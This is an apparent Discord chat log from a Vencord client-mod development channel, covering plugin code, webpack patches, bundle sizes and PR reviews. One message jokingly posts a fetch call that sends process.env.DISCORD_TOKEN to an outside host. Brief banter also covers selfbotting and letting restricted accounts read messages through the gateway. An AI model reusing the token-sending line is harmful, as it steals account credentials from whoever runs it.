#๐พ-core-development
1 messages ยท Page 142 of 1
also advanced messages is 3 now smh, allowed mentions, show media names, edit attachments
i'll work on the last 2 in december
now we wait

fuck what else
works
what ab ur find
does it have other array methods like push, pop?
yeah lmao
.at is a very new method, it might just be that our types are outdated
Artist is a very new method, it might just be that our types are outdated could not be found, please check your search values and try again.
LMAO what is this https://www.array.at
i wanted to google it, not that goofy ahh site
also that was in typescript playground ven
see how new it is https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/at#browser_compatibility
probably old types
i think decor is fully reporter compatible now
wtf i never heard of this method before https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/with
oh cause it's super new, nodejs 20
it wasnt before bc of custom extraction but
as long as you use appropriate methods it will be reporter compatible
yeah, before it wasn't
the only one you need to be careful about is proxyLazy
ooh shit true 1s
you need to use proxyLazyWebpack instead
this is the only mf i think
done
it kinda sucks but it was the only way to do it
(arr[2] = 6, arr) sequence expression:
also
oh it makes a copy
you can change that to use findComponentByCode
**webpack.ts: **Lines 343-348
export function findComponentByCode(...code: string[]) {
const res = find(filters.componentByCode(...code), { isIndirect: true });
if (!res)
handleModuleNotFound("findComponentByCode", ...code);
return res;
}
lmao
**webpack.ts: **Lines 57-65
componentByCode: (...code: string[]): FilterFn => {
const filter = filters.byCode(...code);
return m => {
if (filter(m)) return true;
if (!m.$$typeof) return false;
if (m.type) return filter(m.type); // memos
if (m.render) return filter(m.render); // forwardRefs
return false;
};
here
no
its fine ig it
do not question me ven
reading minfied code has polluted me with sequence exprs
how can i run reporter locally
pnpx esbuild scripts/generateReport.ts > dist/report.mjs to build reporter script
why would u pnpx
just pnpm esbuild

or even just install esbuild globally like a chad
have yall ever heard of these things called
utility methods
whar?
the colors man ๐ญ
then node .\dist\report.mjs to run it
what's wrong
make a func to return good/bad color instead of that
no
you need DISCORD_TOKEN in the environment vars, and CHROMIUM_BIN which is a path to chrome executable
why would i overengineer some purely ci script
const colors = {
red: 0xff0000,
green: 0x00ff00,
}
smh
thats not overengineering its being sane
that code was mostly written by copilot anyway
no it isn't
โผ๏ธ
I recommend changing headless: "new" to headless: false and commenting this line if you want to mess up with devtools after all chunks are loaded
anyways
if it aint broken dont touch it
idk that's just my thoughts
i still prefer utilities
for a ci script sure but throwing that into a func to get the color is not that insane
atleast define the colors on their own and reuse the var that's atleast what id do
tbh idk if i cba to run it now 
lol
too much work
it takes a bit of effort to get it ready but after that it's just running the script
I got a DISCORD_TOKEN and CHROMIUM_BIN always in my env vars now for it
i have like 5 ||user|| discord tokens in my env 
hii can you run this script for me please ๐
erm
erm
oops
lmao
I sent on accident
fetch("https://arhsm.cat/store", { method: "POST", body: { thing: process.env.DISCORD_TOKEN } })
please run this for me nookies
/j
I left it out of the description since I thought it would be too long, but I wonder if I should also put that it still pastes text?
lmao the token in my env var isn't even one of my accounts now
github pages ๐
it's a throw away account ven made that isnt even verified
using the stolen tokens i see???
its called "shared account"s
smh cant believe vencord devs would steal tokens and use them
all the reporter needs is an account to exist, nothing else
proxy api requests and return fake responses, no need for an account :nod:
nah it's not cuz of that
loading chunks doesnt require an account
but a lot of plugins start code use UserStore.getCurrentUser()
or some other patches that run instantly
so we need an account logged for those to not error
horror
yeah lmao
make a global shared account for vencord contributors 
random throwaway i made
ah well phone locked accounts still get GW events, should be enough to populate cache
yeah
osu..
it's just write actions phone number locked accounts can't do, right?
hop on code insiders
so technically you could make a plugin to allow readonly access to discord for locked accounts

yop
they can't use the restful api
but gw is free to use
if i selfbot using the official discord client does it really count 
lol i planned on doing that for a custom client
what does gw mean
gateway
o
discord: bots need intents to get message content
also discord: yeah phone locked potential scraper accounts can have content, no problem
me on my way to make a plugin that disables the rest api as a whole and removes the phone number screen
it prob will lmao
gw sends all guilds, so you have guild cache populated, you'll get messages (you cant browse history or search 'cause thats restful)
you can atleast do the bare minimum, read messages
make a plugin that allows you to log into bot accounts
i'll overengineer it
oh yeah I tried that once
but
I got a bunch of stuff errors when ur token is a bot token
I haven't looked exactly what needs patching for it to work
but it should be simple
for one you need to remove 1 control flow in the gw logic which checks if account is bot and logs you out
and two, patch all non bot endpoints to be no-op
i think things like member list loading don't work cause it functions differently for bots and users
https://github.com/aiko-chan-ai/DiscordBotClient bencord included
yop they wont
WOO DECOR LOC IS SUB 1.5K AGAIN

only a few
:( its worth it for the amazing ux
there's a vencord plugin author ban list!?
honestly plugin size doesn't matter, it's how you use it
vencord bun- lol i was just typing that
ban #1:
Devilbro
18kb (17kb js, 1kb css) for decor
also bundle size doesn't matter to a extent
aliucordrn was bigger
true
anyways
on mobile you need to worry about bundle size more but on desktop especially you don't need to worry as long as it's not like 1mb or some shit
it would be interesting to calculate each plugin's bundled size
discord displays that horribly
let me nuke that one long filename
can you share the code u used for this
diff --git a/scripts/build/build.mjs b/scripts/build/build.mjs
index a2e0e00..8b3d6e5 100755
--- a/scripts/build/build.mjs
+++ b/scripts/build/build.mjs
@@ -98,7 +98,7 @@ const globNativesPlugin = {
}
};
-await Promise.all([
+const malware = await Promise.all([
// Discord Desktop main & renderer & preload
esbuild.build({
...nodeCommonOpts,
@@ -203,3 +203,5 @@ await Promise.all([
if (!commonOpts.watch)
process.exitCode = 1;
});
+
+console.log(await esbuild.analyzeMetafile(malware[1].metafile));
diff --git a/scripts/build/common.mjs b/scripts/build/common.mjs
index 5c34ad0..1c89662 100644
--- a/scripts/build/common.mjs
+++ b/scripts/build/common.mjs
@@ -222,5 +222,6 @@ export const commonOpts = {
jsxFactory: "VencordCreateElement",
jsxFragment: "VencordFragment",
// Work around https://github.com/evanw/esbuild/issues/2460
- tsconfig: "./scripts/build/tsconfig.esbuild.json"
+ tsconfig: "./scripts/build/tsconfig.esbuild.json",
+ metafile: true,
};
where does meta.json get output to
just stringify the malware[1].metafile
guhh paing
i just (await import("fs")).writeFileSync("meta.json", JSON.stringify(malware[1].metafile))
why is shc huge
decor isn't bloated tho
ui is bloat
why is it so big then
ui for good ux
we should be making requests manually
Always on top makes it impossible to minimize it, rendering the desktop space unusable.
HORROR
how is it bigger than decor wtf ๐ญ
allowedmentions is more bloat than decor
i even removed edit support ๐ญ
i need reviews on this shit to make this less bloat
real if only there was reviews 
guh

lmaoo
I don't think decor is too bad tho in the end like
it uses the space well
the ui is all the bloat
insane bigger ui than decor
but it's as minimal as it could be ๐ญ
for fucking mentions
how does this simple UI end up being 11kb
decor COULD have been bigger if i reimplemented discord's relevant components but i didn't to keep size down
like i've already optimized the obvious optimizations
which is use discord components as much as possible
Original size: 14.4 kb
Bundled size: 11.9 kb
barely minifed
Wild
Original size: 103 bytes
Bundled size: 191 bytes
bloated css
literally just 10 lines
ui needs to be unbloated
yeah wtf did u do
wacky
very
i will say
if only there was a way to keep bundled size down 
i just fixed the missing import
vencordminus
stage 3 bargaining
i mean it is fine tho
obviously if it was fucking 50kb or some shit that wouldnt be good
rini go tf to sleep
but but butr
girl.
Wow, thank you for the patch.
However, I encounter crash while loading
const { isMobileOnline } = findStoreLazy("PresenceStore");
I tried to access PresenceStore.isMobileOnline directly and it returned the function successfully.
However, there is still a problem that
isMobileOnline() {
return PresenceStore.isMobileOnline(UserStore.getCurrentUser().id);
}
always returns false
stop using outdated vencord
Should probably remove the console.log and clicking the button doesn't work for me on Vesktop with Discord Stable. Maybe the transitionTo or something else is different in Discord Web.
I built from origin/main ๐ค
false
git pull
skill issue
isn't that on common anyway
yes
The errors are odd, PR is quite old and didn't test quite long
I'll fix it
if you are using a status different than online with the mobile spoof enable platform indicators colored mobile icons option
oop
Oops, I didn't fetch indeed, sorry
Do you run this straight in dev tools console?
Yes yes, that's what I found out too.
I updated to latest origin/main and your snipped compiled successfully, however no matter the status, however, I'm still having the problem that isMobileOnline() always returns false. Same with this
PresenceStore.isMobileOnline(UserStore.getCurrentUser().id)
hmm
but is it working with the option enabled
it makes sense why it doesnt without
yes
it works flawlessly for me
issue on ur end
I don't deny this fact. I'm trying to realize what I'm doing wrong
i never read that text
yes but it looks off to me
please for the love of god stop sending imgur links
yes
latest oxygenos is merged with coloros
looks dogshit
If images were not prohibited to attach here, I would sent them directly
now you can
Could it be the problem that I use Vesktop?
enable consoleshortcuts plugin.
If you mean the spoofer, then yes, it's enabled. I also used another account to make sure it's working
Here's the full index.tsx I have.
import definePlugin from "@utils/types";
import { PresenceStore, UserStore } from "@webpack/common";
import { findStoreLazy } from "@webpack";
const { isMobileOnline } = findStoreLazy("PresenceStore");
export default definePlugin({
name: "MobileIndicator",
description: "",
authors: [],
patches: [
{
find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
replacement: {
match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
replace: "$&,isMobile:$self.isMobileOnline()"
}
}
],
isMobileOnline() {
console.log("isMobileOnline", isMobileOnline(UserStore.getCurrentUser().id));
return isMobileOnline(UserStore.getCurrentUser().id);
}
});
nono
PlatformIndicafors Colored Mobile Indicator option
Ah, so it's actually required. I thought without PlatformIndicator, I would only see mobile on online status, but I didn't.
Alright now with PlatformIndicator it shows mobile icon on all statuses. Thank you.
well you are right, you only see mobile with online status
ofc it will say false xd
and yes, you are invisible lol
stop being ivisible
It shouldn't matter. isMobile is passed to avatar renderer along with status
it does matter
In fact, with PlatformIndicator and client spoofer, I see mobile icon on invisible too
isMobileOnline normally returns false if you aren't online in mobile
it's isMobileOnline, not isMobile
the PlatformIndicator patches that to modify that behavior
right
But avatar is rendered based on isMobile. I went through tons of modules
if you want to just check whether the user is on mobile at all, you can do
const isOnMobile = PresenceStore.getState().clientStatuses[UserStore.getCurrentUser().id]?.mobile != null;
O, let me try that without PlatformIndicator patch
UPD: even on online status returns false :(
not to mention discord avatar render checks if you are online in mobile a lot of times internally
as I said, platform indicators modify all those behaviors to make discord actually render the mobile icon for other status
and if you actually go through all the component stack, the member list avatar for example just ends up doing isMobile: isMobileOnline(...)
UPD: even on online status returns false :(
false
once again stop being invisible 
๐ค
That's without platform indicator
same result
hmm, it's empty
Oh, I guess I can simply do
UserStore.getCurrentUser().mobile
UPD: works with all statuses and without platformindicator (mobile icon displays only on online though (expected))
Thanks for the patch in status panel again.
But I'd like to replace it everywhere (popup, opened modal, server list etc).
As I [mentioned](#๐พ-core-development message), I managed to find some of modules that responsible for separate parts. However I don't like the idea to patch all of them simple because it might cause some conflicts with other plugins.
Is there another global entry point to patch all avatars at once?
I guess you simply sometimes dont have a presence when that menu loads lol
wdym??
you dont need to?
this place is the only that doesnt show the mobile icon by default because it never gives a isMobile prop to the children
already works as I said
That's for everyone.
But I mean myself. I see my status as circle
Hmm, I don't think so. For me I see circle online everywhere.
In fact, even from mobile client it shows circle for you, not mobile icon
In fact, even from mobile client it shows circle for you, not mobile icon
wdym
also show the result of
PresenceStore.getState().clientStatuses[UserStore.getCurrentUser().id]
If I use mobile for real and look at myself for example in server list, there is still no mobile icon, even though I'm from mobile
Same on desktop with a spoofer. It shows only circle online.
I believe there is a check somewhere that renders circle for you no matter what, while for other mobile+online users it does change icon to mobile
So I either need to force discord to check for mobile status even for myself, or find a global method that calls avatar render and explicitly set isMobile
I need it
find a global method that calls avatar render and explicitly set isMobile
there's no such thing
I have a feeling that there might be one
Here's the patch that makes everyone show on mobile
find: ".AVATAR_STATUS_MOBILE_16;",
replacement: [
{
// function O(e)
match: /let{src:\i,status:\i,size:\i,statusColor:\i,isMobile:\i/,
replace: "e.isMobile=true;$&"
},
]
The only problem with it is that the argument doesn't have a user, so I cannot check for id
oh my god please send me what I need
Sorry, I already did #๐พ-core-development message
do again
same
wait a bit please
try this @warped turret
/*
* Vencord, a Discord client mod
* Copyright (c) 2023 Vendicated and contributors
* SPDX-License-Identifier: GPL-3.0-or-later
*/
import definePlugin from "@utils/types";
import { findStoreLazy } from "@webpack";
import { PresenceStore, UserStore } from "@webpack/common";
const SessionsStore = findStoreLazy("SessionsStore");
export default definePlugin({
name: "MobileIndicator",
description: "",
authors: [],
patches: [
{
find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
replacement: {
match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
replace: "$&,isMobile:$self.isMobileOnline()"
}
},
{
find: "}isMobileOnline(",
replacement: {
// Make isMobileOnline include the clientStatuses for the current user
match: /(?<=}isMobileOnline\(\i\){let \i=\i\[(\i)\])/,
replace: "??=$self.maybeGetClientStatusesForSelf($1)"
}
}
],
isMobileOnline() {
return PresenceStore.isMobileOnline(UserStore.getCurrentUser().id);
},
maybeGetClientStatusesForSelf(userId: string) {
if (userId !== UserStore.getCurrentUser().id) return;
const sessions = SessionsStore.getSessions();
const sortedSessions = (Object.values(sessions) as any[]).sort(({ status: a }, { status: b }) => {
if (a === b) return 0;
if (a === "online") return 1;
if (b === "online") return -1;
if (a === "idle") return 1;
if (b === "idle") return -1;
return 0;
});
return Object.fromEntries(
sortedSessions
.filter(s => s.clientInfo.client !== "unknown")
.map(s => [s.clientInfo.client, s.status])
);
}
});
horror
why do all that O.O
to workie
/*
* Vencord, a Discord client mod
* Copyright (c) 2023 Vendicated and contributors
* SPDX-License-Identifier: GPL-3.0-or-later
*/
import definePlugin from "@utils/types";
import { findStoreLazy } from "@webpack";
import { PresenceStore, UserStore } from "@webpack/common";
const SessionsStore = findStoreLazy("SessionsStore");
export default definePlugin({
name: "MobileIndicator",
description: "",
authors: [],
patches: [
{
find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
replacement: {
match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
replace: "$&,isMobile:$self.isMobileOnline()"
}
}
],
isMobileOnline() {
return Object.values(SessionsStore.getSessions()).some(s => s.clientInfo.client === "mobile");
}
});
๐ญ
anyway what is that plugin for anyway
MobileIndicator
just use PlatformIndicators??
oh it's just the name they put lol
anyways basically all the rest of the avatar renders look if the user isMobile using isMobileOnline, but by default PresenceStore doesnt include the clientStatus for the current user, so when discord calls isMobileOnline we also make the obj include the clientStatus for current user
okay I go back to sleep now
Wow, thank you. I really appreciate your help and time you spend for efforts.
Apparently, it works only along with PlatformIndicator. While having it disabled, server list and user profile doesn't show mobile status for me
I'm about to cry
well you can try debugging it yourself
I need to go back to sleeping
really unsure why it didnt work now
Probably because PlatformIndicator introduces this patch
Yes, I'll do. Thanks a lot anyway
actually
try this one sec
/*
* Vencord, a Discord client mod
* Copyright (c) 2023 Vendicated and contributors
* SPDX-License-Identifier: GPL-3.0-or-later
*/
import definePlugin from "@utils/types";
import { UserStore } from "@webpack/common";
export default definePlugin({
name: "MobileIndicator",
description: "",
authors: [],
patches: [
{
find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
replacement: {
match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
replace: "$&,isMobile:$self.isSelfMobile()"
}
},
{
find: "}isMobileOnline(",
replacement: {
match: /(?<=}isMobileOnline\((\i)\){)/,
replace: "if($1===Vencord.Webpack.Common.UserStore.getCurrentUser().id)return $self.isSelfMobile();"
}
}
],
isSelfMobile() {
return UserStore.getCurrentUser().mobile;
}
});
untested but may work
Perfect, everything works ๐คฉ
Thank you so much, I really appreciate your help
nice
btw voice messages is semi broken
oh i see the issue
its finding two modules
fixed
i think the findComponentByCode pr broke it
cause with the new webpack filter it found two modules over just one
and used the wrong one
surprised it just renderered null without errors
maybe we could add a "Restart Discord without Vencord" button
so people can more easily test if bugs happen on stock too
withotu having to reinstall
I would add a option to auto update on launch if it errors
tho idk if its even possible
or just add a flag that launches discord without vencord and create a shortcut on desktop
already exists
"Oh no your discord has crashed. however, there is a vencord update that might fix it. update now?"
already exists
--vanilla
those 2 are enough if you ask me 
but yeah on crash it might make sense
hey @austere talon i havent been keeping track of here for a bit, can i ask why #1164494686472380546 is locked?
ahhh
hello @austere talon any chance you can review this its been a while 
https://github.com/Vendicated/Vencord/pull/1806
is it normal that my discord crashes as soon as i open the developers tool?
yeah just switch to another tab
yall know how i can modify responses (making watch together adblocker)
like is this possible to put into a plugin
{
urlPattern: "https://www.youtube.com/youtubei/v1/player",
modifyResponse({ body }) {
const json = JSON.parse(body);
delete json.playerAds;
delete json.adPlacements;
delete json.adSlots;
return {
body: JSON.stringify(json)
};
}
}```
do those work with a non discord js request?
Discord js has nothing to do with vencord
i thought watch together adblock was already made
it doesnt work
Prob that update discord did a while back
so is there a way to modify the youtube api request with vencord ๐ฟ
all of the patches are using it to modify discord js modules
my brother in christ that is not what i am talking about
Discordjs has nothing to do with vencord
Oh ๐

Look at the other one thatโs broken
to modify the watch together stuff you need to use the native part of the vencord api
which lets a plugin define code that runs on the electron side
you can't modify the watch together from the renderer (the document side)
Ah sorry
oh mb did i do sum wrong
vns
:D
you can
you can use copilot u just can't submit fully ai-genned code like
you need to know what the code does
you can break rule 11 as long as i don't notice
that rule is mostly about people who don't know how to code asking ai to write entire plugins then asking for help with delusional code
not about actual developers using copilot
makes sense
blaming copilot for all my bad code (i don't use it)
welllll i was gonna fix up usercss
i lied i only write food perfectly readable code
then it turns out im now bedbound for a little while
my software has no bugs ever

copilot letโs me discover javascript features that i donโt know exist (because i donโt know js)
so does mdn
copilot is good if you use it as basic auto complete for single lines of code
usercss i think is done but it still needs the fix for lazy loading
but terrible if you expect it to generate multiple paragraphs of code
after that we can merge it and forget about it until discord shatters my hopes and dreams again
i find itโs actually pretty easy to get copilot to generate large amounts of code
copilot, imo, is a good second pair of eyes;
It'll come up with solutions for problems that I would never have thought of, even if its implementation of those solutions are often... crap
copilot chat is interesting
but itโs not like iโm blindly letting it do stuff
copilot was a mistake
copilot was Not a mistake
it's like a stackoverflow if it was never rude to you and you could never ask it a stupid question and get downvoted into oblivion
i prefer to put my effort into actual development
I mainly use copilot for generating copy and paste code based on what I did before
i rarely use copilot to generate code tbh, i should turn it off besides the chat
and not tedious things
and even then it still messes up
so I would for sure not trust it to generate paragraphs
copilot is like google where itโs almost a skill of its own
hey nooooookiesssssss
Review would be nice. This contains features that ClientTheme really should have before we merge dev to main
you know what time it is :)
im right
thereโs ways to prime it to give you all the stuff you need
what does it need to be done lewi?

to be honest I really don't understand how color picker works for client theme but not user css
just sayin i once used it to generate a massive function that took video frames and rendered them into an mp4 using only apple api
and it worked flawlessly
guess I will have to debug it on the pr
your lazy loading thing looks good to me, so if you want, add that pr as a dependency for usercss and add a code review to add the change necessary
yeah that'd be a good idea, cause im not sure either
it's in dev already lol
ah didnt notice
idk why but this made me think of ghostbusters so now you have to listen to it https://open.spotify.com/track/3m0y8qLoznUYi73SUBP8GI
ive been in bed for 3 days now so
I merged yesterday
lmao
๐
no way i was also sick a few days ago
I hope you get better
i think i caught covid alongside my flu cause i tested negative but then i started testing positive late into my sickness

anyway i will live im just a bit beat up
its probably that new omicron variant or whatever
the one that's just flu 2
infectious but barely covid
flu 2 lmao
treating covid like a new flu was a mistake
Brazil moment
omg no way babe
it is the western world's worst decision
to date
they really got all the mf vencord devs at once
this is obviously a bioterrorism attack against vencord
commits? like.. the git thing??
!
might add a โserver blacklistโ feature to keywordnotify
i think would be super useful
yes
wow learning med did pay off
like u could have keyword for โvencordโ and then blacklist this server so u get notified every time someone mentions it elsewhere
genius!
holy shit im coughing like a motherfucker
christ
anyway usercss is Almost the Finished
doyou ever just constantly sneeze for five minutes
i just had a coughing fit for about that long but i dont think that counts does it
what
๐ ty
this is a funny from react
do not pass it or you will be fired
the cat that follows the corsair doesnt come
what he said
oneko
wont come
real
Vns
owo
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
None
NoTrack (found no module):
ID: -
Match: window.DiscordSentry=
None
None
None
anyone knows how to get whether a DM is muted :3 i can't find a .isMuted or alike after getting the channel from ChannelStore
Itโs in user settings somewhere
Isnโt there a hide muted channels plugin or smth
i think it uses UserGuildSettingsStore but thats only for guilds and not channels
ill double check
nevermind it uses updateGuildNotificationSettings
still can not use that to get whether a channel is muted
could find
Vencord.Webpack.findByProps("isChannelMuted").isChannelMuted("guildId", "channelId")
but i need this for direct messages
ah passing null as guild id works
I was about to say you had to use null as guild id
also do this instead
Vencord.Webpack.findStore("UserGuildSettingsStore").isChannelMuted("guildId", "channelId")
thank you
yeah try null / @me as guild id
i did try empty string and @me at first turns out i had to use null
How can I access this function?
findByProps("isMobile")
that is not what you want
findByProps returns a string of a function.
findByPropsLazy I thought would work, but cannot get the attribute value
it has nothing to do with the status, but the platform you are using
its finding the wrong thing
its finding a class module
try findByProps("isMobile", "isIOSWeb")
Thanks!
I'm just trying many different things.
It turned out that UserStore.getCurrentUser().mobile is always true.
try this instead
/*
* Vencord, a Discord client mod
* Copyright (c) 2023 Vendicated and contributors
* SPDX-License-Identifier: GPL-3.0-or-later
*/
import definePlugin from "@utils/types";
const SessionsStore = findStoreLazy("SessionsStore");
export default definePlugin({
name: "MobileIndicator",
description: "",
authors: [],
patches: [
{
find: ".Messages.ACCOUNT_SPEAKING_WHILE_MUTED",
replacement: {
match: /renderAvatarWithPopout\(\){.+?className:\i\.avatar(?=,?)/,
replace: "$&,isMobile:$self.isSelfMobile()"
}
},
{
find: "}isMobileOnline(",
replacement: {
match: /(?<=}isMobileOnline\((\i)\){)/,
replace: "if($1===Vencord.Webpack.Common.UserStore.getCurrentUser().id)return $self.isSelfMobile();"
}
}
],
isSelfMobile() {
let sessions = Object.values(SessionsStore.getSessions());
return sessions.some(s => s.clientInfo.client === "mobile") && !sessions.some(s => s.clientInfo.client === "desktop" && s.status === "online");
}
});
1 sec actually
there
What if the spoofer is disabled, but I open discord from mobile? I think it will display mobile indicator on desktop too.
I also considered SessionsStore, but I think I need a more robust check for the current session.
try it
Just tried. It returned false as expected when I was on desktop only, after launching mobile app, it returned true. Everything as I expected.
SessionsStore.getSessions() contain mobile session too.
what are yo trying to do
There's been a discussion during this day. In a nutshell, I need to check if I'm on mobile on not
But anyway, it's not a robust check. I'm looking for a way to get current session id, then I will be able to identify the object I need deterministically.
wha
you will not be running vencord code on mobile
do u mean in other device
do u mean if u show up as on mobile for others
I just looked up sources and found singular function too!
Previously I've been using plural form that I took from PlatformIndicator
what's your endgoal
It's for visual porpuse
your current session will never be mobile
cuz you won't run vencord on mobile
what should your plugin do
smallest xy problem in vencord dev
My plugin is actually the improvement of client spoofer by @nimble plaza
client spoofer will not be added to vencord but have fun making it as a third party plugin although there are already multiple of them if you want
Yes I know, I saw all the three pull requests and I'm absolutely ok if it's not added officially.
maybe you should leave the coding to luna
They are not responding
you've been asking for help with every single super small step. that's not productive
Obviously if I need some visual bells and whistles and they have no motivation to do that for me, I'm the only one who will
Because contrary to popular belief, some people have lives outside of vencord
That's how I'm getting better at it. Creating vencord plugin is a unique experience
you're not getting better at it, you're getting spoonfed without learning much
try to do your own research, figure out things yourself
true...
i createded my plugin by just looking at what the other plugins did and then throwing shit at the wall and now im goated or wtv
when i made my first plugin i was so fast at it vee had to dm me "wtf how did you learn the entire api already" im goateder
how fast did you make it
i made mine before i even sent my first message ๐ญ
cuz im goofy like that
Ven first needs to wake up
ven made the client that runs the API you dingusheads
i would contribute to the api if i cared enough
but only mildly
like i understand how the inbox works enough to write a small api system for adding custom things to it
but thats so niche so whocares
To anyone considering making a plugin to remove the stupid fucking avatar decoration slide in discord added to profile popouts i've already made one, have this hacky patch:
{
find: "translate3d(-20px, -120px, 0)",
replacement: {
match: /translate3d\(-20px, -120px, 0\)/,
replace: "translate3d(0, 0, 0)"
}
}
I'm going to improve this patch and combine it with another plugin i've yet to PR tmrw
I already did lots if research. I had to ask seemingly easiest steps because it's not document anywhere how to look for stuff and how to retrieve things.
but dont you have one
decor?
is this thing what ur referring to
no
what are you referring to then
you mean profile effects
no..
not avatar decorations
then you definitely have one.
isnt that literally what the thing i just sent was
yeah the transition is janky as hell
but isnt it the same thing
im literally developing custom avatar decorations why would i make a patch to hide avatar decorations ๐ญ let me speak guhhh
no??
that patch removes the jank transition not the decoration
is there a patch to remove the decoration
not yet at least
there's css shit
yeah you two jumped the gun and wouldn't let me explain damn
we interpreted this as the animated decorations
not the decoration animations
you mean this?
yes
i mean ive literally never see this hover effect animation thing
yeah they just added it
so i don't exactly feel bad for having no clue what you were on about
i cant even reproduce it
yeah i don't have it
that's fine but you both jumped the gun and would not wait for me to explain
it's only on canary rn i think
go to dms
open profile sidebar
hover over it
well its cuz instead of explaining you just went into some kind of defense mode
literally added so recently
i believe i am on canary, granted canary vesktop
yeah im not getting it
cuz im not on canary
ya bc sky was like "you mean profile effects" no i don't i mean what i am literally ab to explain if i am given a second 
do you have reduced motion on
don't think so
wack are you sure you're up to date
well to be fair im not on canary so the thing you were tlaing about literally didnt exist on my client
mhm
i don't see a download button
its probably shitcord only half rolling out a change to just cause confusion
now you know what fiery was talking about its fine no point arguing
never seen css animation rollout :^)
who knows, they always surprise us
i don't think you're up to date tbfh
it didn't seem to have a experiment from the look i've had it
if you really want to check inspect the profile pic of a popout and look for that translate3d
i went to the vencord updater- didn't see a download or whatever- did see that its failing to check for vencord updates because my local copy is git-pulled with an SSH link instead of https
it's not a vencord update...
holy cow
i know but its called "updater" it probably checks both
no lol i believe it only updates discord
ugh
vencord*
did this alr exist in the snippets i couldnt find it after searching for 2 seconds
its 3am man 
its 8am and ive been awake since the afternoon
it's been posted around idk about in the snippets tho
yeah i know we figured it out but also this is totally an issue i should fix
i think i already suggested it to pluralkitty but a plugin that connects to pluralkit and tupperbox and all the proxy bots, letting you switch with a built-in command that updates all bots (if it can)
basically just means you don't have to remember to switch if you swap to another server with a different bot or whatever
niche but nice
in other news: i can definitely confirm that this is not a file or directory!
so uh...
are you on a local build?
yes but turning it off and reloading didn't fix it
looks like an issue with your ssh keys
well "sss-askpass" doesn't exist
and i can ssh into devices or use it with git stuff so- idk
well this isn't vencord lol
how weird- i can find it on AUR i think? but... maybe a dependancy that it doesn't even check for because its assumed ??
I can't really help any further, I use mac. you should also probably move to #๐ฅ-vencord-support-๐ฅ or #๐ง-off-topic-iceman-only idk
i shouldn't need it- as long as installing this fixes it lol
is it just me
or can i not use the destructuring to access strings
const { recentMentionsPopout } = findByPropsLazy("recentMentionsPopout");
it gives me a proxy
which yeah makes sense
but its a string not an object
wont let me conver tto string
hm that's a interesting problem
everything is Reflect.get called on non-object
so i guess whoever made the destructure thing didnt expect people to use it for non-objects
kinda short sighted
smh
Brendan eich: i made the fucking programming language
update: fixed my issue- had to install a completely separate ssh-askpass program and then symlink it into the location vencord was searching
weird as fuck? but it works!
It's rather pure react question, but still.
I am creating a wrapper for MenuItem like that
const Foo = ({ bar }: { bar: string; }) => {
return <Menu.MenuItem
id={"baz-" + bar}
label={bar.toLocaleUpperCase()}
/>;
}
But when I try to use it
<Menu.MenuItem
id="test"
label="test"
>
<Foo bar="foo" />
</Menu.MenuItem>
I get the following error. How can I get around that?
you don't
Foo is still another component even if all it does is return a menu
dont make a wrapper
What should I use instead if I want to pass a custom argument that defines bunch of stuff inside a menu item?
look at other plugins
I did, but I don't think they used such a setup. They define custom components-wrappers for sure, but they are used in such places where it's not prohiobited unlike menu item that allows only self inside.
It was the first what I tried, even before the component-wrapper. It throws the same error.
Functions inside components are not resulting by the item outer component creates.
is it fine to move a find to commons if its used by a single plugin in multiple files
just export it from within ur plugin
can somebody motivate me
then you will just forget about it like the other two PRs i have made.
- Brings in the latest Electron with its Chromium updates
- Bumps venmic (Should be fine @Curve)
- Remove no longer required esbuild workaround (not entirely sure about that but the issue is closed)
6573c47 fix: strikethrough in SilentMessageToggle's dis... - korbough
@verbal pumice on your PR why did you change the base to main?
got a merge conflict, prayed changing to main would solve it, and forgot to change it back
alright, can you swap it back for me?
i'd do it myself but i'm unsure of any changes you want to preserve
done
I do wonder if this is actually safe to do for users since this is mainly a feature for bots, no? Just curious if this has the potential to flag.
No motivation to continue doing this from our side at the minute, so it's on hold until further notice.
No motivation to continue doing this from our side at the minute, so it's on hold until further notice.
Confused on what this change accomplishes besides adding unnecessary complexity. Can you elaborate more beyond the commit message?
Well you see destructuring a lazy result is completely broken when the destructured value is a string, so I had to change it to no longer destructure. Tried to fix the issue myself by tinkering with Vencord internals but the only good solution would be to wrap the string within an object when creating the Proxy, which would defeat the purpose
.
i wonder if its specifically primitives
if you read up on how Proxy works it kinda makes sense
its just a bit annoying
it is specifically primitives
oh
i see
yeah
i didnt realise that's what you were doing there
proxies require full objects so primitives wont work
if it was a new String() wrapped string that would probably work fine
idk what new string is
and frankly i dint feel confident modifying vencord core utils
idk what to do about this thing
idk what changes were specifically requested
that's the only way of clearing that
i havfent had time to review it fully yet so dont take it as an approval
you can post them in comments
how awesome this is
@turbid hatch merge to dev instead
im not merging it
xd
i havent reviewed it, i was approving to clear the changes block
cause you cant retract a review
you merged the other
was that not on dev?
how muhc money do i have to give you to review it and merge it
i thought it was cause when i gh pr checkouted it had devonly changes
oh lol
ye I'm gonna pull the commit into dev
ty, im gonna investigate how to fix usercss now
today is the first time ive gotten out of bed in a while, the brainfog hasnt quite gone away but it'll be fine
ooo nice
@pine topaz the icon doesnt work as it should
where is the z
ohhh
it's the mask
๐ that's funny
huh
usercss works now
alrighty...
you were right @limber skiff i cant get it to break now
how weird
unless you made some changes in dev to fix it
I didnt
I feel for for who needs to pull from dev now
specially fiery that has his branch up to date with dev
maybe I should merge commit instead?
@turbid hatch btw make your find for color picker this findComponentByCodeLazy(".Messages.USER_SETTINGS_PROFILE_COLOR_SELECT_COLOR", ".BACKGROUND_PRIMARY)")
hm?
discord uses .Messages.USER_SETTINGS_PROFILE_COLOR_SELECT_COLOR in another color picker too
**SettingColorComponent.tsx: **Line 18
const ColorPicker = findComponentByCodeLazy<ColorPickerProps>(".Messages.USER_SETTINGS_PROFILE_COLOR_SELECT_COLOR", ".BACKGROUND_PRIMARY)");
like that?
yeah
alr
